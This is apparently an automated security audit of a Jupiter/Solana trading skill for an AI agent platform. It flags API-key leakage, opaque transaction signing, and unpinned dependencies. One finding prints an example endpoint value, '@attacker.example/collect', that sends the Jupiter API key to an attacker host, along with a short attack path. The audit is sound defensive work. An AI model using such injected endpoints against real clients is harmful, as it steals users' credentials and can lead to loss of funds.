Back to skill

Security audit

Jupiter Skill for OpenClaw

Security checks for vulnerabilities and agentic risk

Overview

This skill is a disclosed Jupiter/Solana trading helper, but it needs review because it can sign opaque financial transactions and has an API-client bug that can leak the Jupiter API key to a non-Jupiter host.

Install only if you are comfortable reviewing every transaction outside this skill before signing. Use a dedicated low-balance wallet, avoid passing API keys or signed transactions directly on the command line, restrict endpoints to known Jupiter paths, and do not sign or broadcast opaque base64 transactions from untrusted or unverified responses.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/fetch-api.ts:34
Finding

Jupiter API Key Exfiltration Through Endpoint Authority Injection

Content
View full analysis
= { "x-api-key": apiKey, "Content-Type": "application/json", }; const fetchOptions: RequestInit = { method: options.method.toUpperCase(), headers, }; ``` ```ts const response = await fetch(url, { ...fetchOptions, signal: controller.signal }); ``` ### Technical Analysis The script concatenates the user-controlled `options.endpoint` directly onto `https://api.jup.ag`. It does not require the endpoint to begin with `/`, parse the result, or verify that the resulting URL remains on the Jupiter origin. For example, an endpoint beginning with an authority delimiter can change the effective destination: ```text Endpoint: @attacker.example/collect Result: https://api.jup.ag@attacker.example/collect ``` A URL parser interprets `api.jup.ag` as user information and `attacker.example` as the actual host. The script then sends the `x-api-key` header to that effective destination. The client also uses the default redirect behavior without explicitly ensuring that credentials cannot be forwarded to an untrusted redirect destination. Destination validation should therefore be performed both before the initial request and during any redirect handling. ### Attack Path 1. An attacker supplies, injects, or persuades the user or Agent to use an endpoint such as `@attacker.example/collect`. 2. `fetch-api.ts` concatenates the input with `https://api.jup.ag`. 3. URL parsing identifies the attacker-controlled domain as the actual request host. 4. The request includes the victim's `JUP_API_KEY` in the `x-api-key` header. 5. If a POST request is used, the attacker may also receive wallet addresses, quote details, order p ...[truncated 631 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/wallet-sign.ts:98
Finding

Opaque Solana Transactions Are Signed Without Semantic Verification

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/execute-ultra.ts:157
Finding

Sensitive Credentials and Signed Transactions Can Be Exposed Through Command-Line Arguments

Content
View full analysis
", "API endpoint path (e.g., /ultra/v1/order)") .option("-p, --params ", "Query parameters as JSON string (for GET) or body (for POST)") .option("-b, --body ", "Request body as JSON string (for POST)") .option("-m, --method ", "HTTP method (GET or POST)", "GET") .option("-k, --api-key ", "Jupiter API key (or use JUP_API_KEY env var)") .action(fetchApi); ``` From `scripts/execute-ultra.ts`: ```ts program .name("execute-ultra") .description("Execute Ultra orders on Jupiter") .requiredOption( "-r, --request-id ", "Request ID from /ultra/v1/order response" ) .requiredOption( "-t, --signed-tx ", "Base64-encoded signed transaction" ) .option("-k, --api-key ", "Jupiter API key (or use JUP_API_KEY env var)") .action(executeOrder); ``` From `scripts/send-transaction.ts`: ```ts program .name("send-transaction") .description("Send signed transactions to Solana RPC") .requiredOption("-t, --signed-tx ", "Base64-encoded signed transaction") .option( "-r, --rpc-url ", `RPC endpoint URL (default: ${DEFAULT_RPC_URL}, or SOLANA_RPC_URL env var)` ) .option( "--skip-preflight", "Skip preflight transaction checks (faster but less safe)" ) .option("--max-retries ", "Maximum send retries (default: 3)") .action(sendTransaction); ``` ### Technical Analysis The scripts accept API credentials and signed transactions as command-line arguments. Depending on the operating system and ...[truncated 1687 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Rogue AgentSelf-Modification, Session Persistence
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
Findings (17)

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The skill is presented as a Jupiter integration helper, but it also guides use of a local wallet secret file and signs arbitrary base64 transactions. That mismatch is dangerous because users may trust it as a quote/swap utility while it can authorize any Solana transaction payload returned by an API or substituted upstream, creating real fund-loss risk.

Content

No source excerpt is available for this finding.

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 26)May include surrounding context.

md
| Fetch any Jupiter API | `fetch-api.ts` | `pnpm fetch-api -e /ultra/v1/search -p '{"query":"SOL"}'` |

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · README.md (reported line 25)May include surrounding context.

md
### 1. Get API Key

1. Visit [portal.jup.ag](https://portal.jup.ag)
2. Create an account
3. Generate an API key

### 2. Configure Environment

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
87% confidence
Finding

The skill declares access to sensitive environment variables and performs networked API operations, but it does not define any explicit tool scope such as allowed-tools or permissions. In an agent setting, this weakens least-privilege boundaries and can let the runtime grant broader capabilities than users expect, especially given the skill also handles API keys and wallet-related workflows.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
71% confidence
Finding

The skill recommends exporting the API key as an environment variable, which can persist for the session and may be inherited by subprocesses or exposed in logs/debug output in some agent or shell environments. While common operational practice, this still increases credential exposure risk when combined with network tooling and package scripts.

Content

Scanner excerpt · SKILL.md (reported line 46)May include surrounding context.

ALWAYS required. All Jupiter API endpoints require an x-api-key header.

  1. Visit portal.jup.ag
  2. Create account and generate API key
  3. Set via environment variable (recommended):
    bash
    export JUP_API_KEY=your_api_key_here
    

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
84% confidence
Finding

The skill provides step-by-step instructions to create swaps, prediction market orders, lending actions, limit orders, and DCA orders, but it lacks strong user-risk warnings and confirmation requirements for irreversible financial transactions. In this context, users may execute trades or on-chain orders without appreciating slippage, liquidation, smart-contract, or permanent-loss consequences.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/execute-ultra.ts (reported line 18)May include surrounding context.

ts
import { Command } from "commander";
import { getApiKey, printApiKeyError, isValidBase64, isValidUUID } from "./utils.js";

const EXECUTE_URL = "https://api.jup.ag/ultra/v1/execute";
const REQUEST_TIMEOUT_MS = 30000;

interface ExecuteOptions {

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

This script exposes a generic arbitrary-endpoint client against the Jupiter API rather than constraining requests to the specific swap, DCA, lending, or prediction-market flows described in the skill metadata. In an agent setting, that broader capability can be abused to invoke unintended Jupiter endpoints or future API surface area, expanding privilege beyond the declared use case and increasing the chance of unsafe transaction construction or data exfiltration through unrestricted API interactions.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · scripts/wallet-sign.ts (reported line 73)May include surrounding context.

ts
pnpm wallet-sign --unsigned-tx "BASE64_TX" --wallet ~/.config/solana/id.json
  pnpm wallet-sign --unsigned-tx "BASE64_TX" --wallet /path/to/wallet.json

To create a new wallet:
  solana-keygen new -o ~/.config/solana/id.json

SECURITY NOTE: Private keys cannot be passed via command line arguments

Vague Triggers

Low
Category
Not specified by scanner
Confidence
83% confidence
Finding

This manifest file describes the skill as able to "fetch, sign, and execute Solana transactions" but does not define any explicit invocation phrases, scope limits, or exclusion conditions. In a manifest context, that broad natural-language description can act as an ambiguous trigger description and may increase the chance of unintended invocation.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
94% confidence
Finding

Using a caret range for @solana/web3.js allows newer releases to be installed automatically within the major version, which weakens supply-chain reproducibility and can unexpectedly pull in vulnerable or malicious package versions. This is more dangerous here because the package handles blockchain transaction creation and signing flows, so a compromised dependency could tamper with transactions or exfiltrate wallet material.

Content

Scanner excerpt · package.json (reported line 25)May include surrounding context.

json
"author": "",
  "license": "MIT",
  "dependencies": {
    "@solana/web3.js": "^1.95.0",
    "bs58": "^6.0.0",
    "commander": "^12.1.0"
  },

Unverifiable Dependency: @solana/web3.js has 3 known advisory(ies) (CVE-2024-30253 (Handling untrusted input can result in a crash, leading to loss of availability ); CVE-2024-54134 (Modified package published to npm, containing malware that exfiltrates private k); MAL-2024-11183 (Malicious code in @solana/web3.js (npm))), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
97% confidence
Finding

The manifest references @solana/web3.js with a non-exact version while known advisories include both denial-of-service and malicious-package incidents, making it impossible to verify whether installations are affected. In a skill that signs and sends Solana transactions, uncertainty around this dependency is especially dangerous because compromise could crash workflows, alter transactions, or exfiltrate private keys.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
84% confidence
Finding

Using a caret range for bs58 permits unreviewed minor/patch updates, reducing build determinism and increasing supply-chain exposure. While bs58 is not inherently as sensitive as wallet or RPC libraries, this skill processes Solana transaction-related data, so dependency integrity still matters.

Content

Scanner excerpt · package.json (reported line 26)May include surrounding context.

json
"license": "MIT",
  "dependencies": {
    "@solana/web3.js": "^1.95.0",
    "bs58": "^6.0.0",
    "commander": "^12.1.0"
  },
  "devDependencies": {

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
83% confidence
Finding

The commander dependency is unpinned, allowing automatic resolution to later releases within the major range and creating avoidable supply-chain risk. Because it likely affects CLI argument parsing rather than transaction cryptography directly, the impact is lower, but compromise could still alter script behavior or user inputs.

Content

Scanner excerpt · package.json (reported line 27)May include surrounding context.

json
"dependencies": {
    "@solana/web3.js": "^1.95.0",
    "bs58": "^6.0.0",
    "commander": "^12.1.0"
  },
  "devDependencies": {
    "@types/node": "^22.0.0",

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
40% confidence
Finding

Dependencies lack version pinning, allowing potential malicious package updates. Consider pinning versions.

Content

Scanner excerpt · package.json (reported line 30)May include surrounding context.

json
"commander": "^12.1.0"
  },
  "devDependencies": {
    "@types/node": "^22.0.0",
    "tsx": "^4.19.0",
    "typescript": "^5.6.0"
  },

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
80% confidence
Finding

tsx is a dev tool, but it is used to execute local TypeScript scripts directly, including scripts with names suggesting transaction execution and wallet signing. If an unreviewed version is installed, a compromised tool could affect local development or CI environments and manipulate sensitive script execution.

Content

Scanner excerpt · package.json (reported line 31)May include surrounding context.

json
},
  "devDependencies": {
    "@types/node": "^22.0.0",
    "tsx": "^4.19.0",
    "typescript": "^5.6.0"
  },
  "engines": {

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
40% confidence
Finding

Dependencies lack version pinning, allowing potential malicious package updates. Consider pinning versions.

Content

Scanner excerpt · package.json (reported line 32)May include surrounding context.

json
"devDependencies": {
    "@types/node": "^22.0.0",
    "tsx": "^4.19.0",
    "typescript": "^5.6.0"
  },
  "engines": {
    "node": ">=18.0.0"

Static analysis

No suspicious patterns detected.